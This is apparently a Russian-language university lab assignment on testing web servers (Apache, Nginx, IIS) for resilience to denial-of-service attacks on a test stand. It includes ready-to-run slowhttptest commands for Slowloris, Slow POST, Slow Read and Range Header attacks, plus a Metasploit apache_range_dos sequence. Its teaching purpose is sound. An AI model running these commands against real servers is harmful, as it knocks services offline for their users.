Практическая работа №5. «Тестирование на устойчивость к атакам отказа в обслуживании».
Тема занятия: Тестирование на устойчивость к атакам отказа в обслуживании.
Цель выполнения задания: Целью лабораторной работы является обучение методам и средствам тестирования веб-приложений на устойчивость к атакам отказа в обслуживании (DoS-атакам).
Оборудование (приборы, материалы, дидактическое обеспечение) Инструкционные карты, мультимедийные презентации, персональные компьютеры.
Краткие теоретические сведения
Целью реализации DoS-атаки является нарушение доступности веб-приложения. Это может быть достигнуто путем DoS-атаки на канал связи, программную платформу веб-сервера или на само веб-приложение.
Традиционно DoS-атаки являются сетевыми (используют недостатки сетевых технологий) и могут быть классифицированы по уровням модели ISO/OSI. Например, атаки ICMP Flood (L3) и DNS/NTP Amplification (L7) приводят к отказу канала связи, а атаки Ping of Death (L3), SYN Flood (L4), SSL Renegotiation DoS (L5/L6), HTTP Flood (L7), Slow HTTP (L7) воздействуют на платформу веб-приложения (операционная система, веб-сервер, фрэймворк и т.д.).
Для достижения отказа в обслуживании с помощью атак прикладного уровня (L7) атакующему может потребоваться существенно меньшее количество ресурсов. Например, если для успешной реализация атаки SYN Flood она должна быть распределенной (DDoS) и использовать ботнет, то для реализации атак класса Slow HTTP DoS (Slowloris, Slow HTTP Post, Slow HTTP Read) обычно достаточно одного компьютера.
Вместе с тем для веб-приложений также характерны DoS-атаки уровня приложения, возможные из-за наличия уязвимостей в его коде. Например, возможность проведения атаки типа SQL injection может позволить злоумышленнику удалить базу данных с учетными записями пользователей или выполнить запрос вида select benchmark(100000000, now()) для израсходования ресурсов системы. Также примерами атак уровня приложения являются атаки XML Billion Laughs (XML Bomb), XML Quadratic Blowup Attack, ZIP of Death (ZIP Bomb).
Постановка задачи
Выполнить тестирование устойчивости веб-приложения www.test.app.com к DoS-атакам на уровне протокола HTTP.
Последовательность действий
Шаг 1. Установить программу slowhttptest, доступную по URL вида https://code.google.com/p/slowhttptest.
Изучить документацию. Запустить сетевой анализатор Wireshark.
Шаг 2. На тестовом стенде, эмулирующем работу веб-сервера www.test.app.com, установить и выполнить базовые настройки для веб-серверов Apache, Nginx и IIS. Запустить веб-сервер Apache.
Шаг 3. Запустить в отношении веб-сервера атаку Slowloris, просмотреть трассировку соединения, проверить доступность веб-сервера с помощью произвольного браузера:
# slowhttptest -H -c 3000 -r 3000 -i 50 -l 6000
–u http://www.test.app.com
Провести несколько тестов с различными параметрами. Построить графики состояния веб-сервера.
Шаг 4. Запустить в отношении веб-сервера атаку Slow HTTP POST,
Просмотреть трассировку соединения, проверить доступность веб-сервера с помощью произвольного браузера:
# slowhttptest -B -c 3000 -r 3000 -i 50 -l 6000
–u http://www.test.app.com
Провести несколько тестов с различными параметрами. Построить графики состояния веб-сервера.
Шаг 5. Запустить в отношении веб-сервера атаку Slow Read, выбрав файл достаточного размера, просмотреть трассировку соединения, проверить доступность веб-сервера с помощью произвольного браузера:
# slowhttptest -X -c 3000 -r 3000 -l 6000 -k 5 -n 50
-w 1 -y 2 -z 1 –u http://www.test.app.com/bigauth.js
Провести несколько тестов с различными параметрами. Построить графики состояния веб-сервера.
Шаг 6. Остановить сервер Apache. Запустить сервер Nginx. Проделать предыдущие шаги в отношении сервера Nginx.
Шаг 7. Остановить сервер Nginx. Запустить сервер IIS. Проделать предыдущие шаги в отношении сервера IIS.
Шаг 8. В отношении сервера Apache выполнить атаку Apache Range Header. Проанализировать результаты. Выполнить команду
# slowhttptest -R -u http://www.test.app.com -t GET
-c 1000 -a 10 -b 3000 -r 500
Выполнить атаку Apache Range Header с использованием Metasploit Framework:
# msfconsole
use auxiliary/dos/http/apache_range_dos
show options
set RHOSTS www.test.app.com
set RPORT 80
set RLIMIT 100
set THREADS 3
run
Вопросы и задания
1. Как можно по косвенным признакам определить уязвимость веб-сервера к атакам типа Slow HTTP DoS?
2. Реализовать механизмы защиты для веб-сервера Apache от атак Slow HTTP DoS.
3. Реализовать и протестировать веб-приложение, уязвимое к атаке XML Bomb.